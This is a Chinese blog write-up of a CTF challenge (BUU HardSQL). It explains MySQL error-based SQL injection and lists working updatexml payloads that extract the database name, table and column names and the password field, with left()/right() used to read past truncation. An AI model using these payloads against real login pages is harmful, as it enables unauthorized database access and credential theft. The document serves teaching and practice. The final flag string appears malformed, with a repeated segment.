【学习笔记 29】 buu [极客大挑战 2019]HardSQL

0x00 知识点

  1. sql报错注入
  2. 通过left,right来查询不同内容

0x01 知识点详解

  1. 什么是报错注入?
    答:其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

0x02 解题思路

  1. 打开网站一看在这里插入图片描述打开一看经典页面,不用想,用户名和密码这两个地方肯定都是注入点。
    这里我们尝试万能密码无果后,直接用用户名:admin 密码:1’ 进行登录
    在这里插入图片描述
  2. 尝试联合注入的union,select,以及and,’,都被过滤,并且尝试双写绕过,大小写绕过都不能用,最后发现,可以使用报错注入。
    这里我们在密码处进行注入,先查看数据库名
payload:
check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

在这里插入图片描述虽然报的error,但是还是返回了我们需要的数据信息。
而且这里需要注意“~”这个符号被过滤了,所以我们要用他的ascii码0x7e进行绕过。
接下来爆表名

payload:
check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

在这里插入图片描述接下来爆字段

payload:
check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

在这里插入图片描述接下来查数据,这里需要注意,因为直接查询时只能查出一半的信息所以这里要配合left()和right()函数一起使用

payload:
1. check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%23

2. check.php?username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23

在这里插入图片描述在这里插入图片描述

最后将结果拼接起来得到flag

flag{9a0810e3-9693-4d35-b3-4d35-b5b3-369b5ea9ca66}

猜你喜欢

转载自blog.csdn.net/weixin_43553654/article/details/107647660